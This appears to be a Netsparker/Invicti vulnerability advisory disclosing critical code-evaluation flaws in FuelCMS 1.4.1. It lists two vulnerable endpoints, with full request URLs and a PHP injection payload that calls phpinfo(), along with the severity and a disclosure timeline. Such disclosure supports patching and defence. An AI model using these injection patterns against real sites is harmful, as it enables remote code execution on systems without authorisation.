Code Evaluations in FuelCMS 1.4.1


Advisory by Netsparker (now Invicti)
Name: Code Evaluations in FuelCMS 1.4.1
Affected Software: FuelCMS
Affected Versions: 1.4.1
Vulnerability: Code Evaluations
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): 8.6
Invicti Advisory Reference: NS-18-019

Vulnerabilities Tree

Code Evaluation

  1. /fuel/pages/select/ (GET = filter)
  2. /fuel/preview (POST = data)

Technical Details

Code Evaluation in /fuel/pages/select/ (GET = filter)
URL: http://{domain}/{fuelcms_path}/fuel/pages/select/?nocache=1507880376191&input=&target=&title=&class=&pdfs=&filter=%27%2b phpinfo() %2b%27
Parameter Name: filter
Parameter Type: GET
Attack Pattern: %27%2b phpinfo() %2b%27

Code Evaluation in /fuel/preview (POST = data)
URL: http://{domain}/{fuelcms_path}/fuel/preview?module=pages&field=vars--body
Parameter Name: data
Parameter Type: POST
Attack Pattern: %27%2b phpinfo() %2b%27

Advisory Timeline

23rd October 2017 – First Contact
29th November 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

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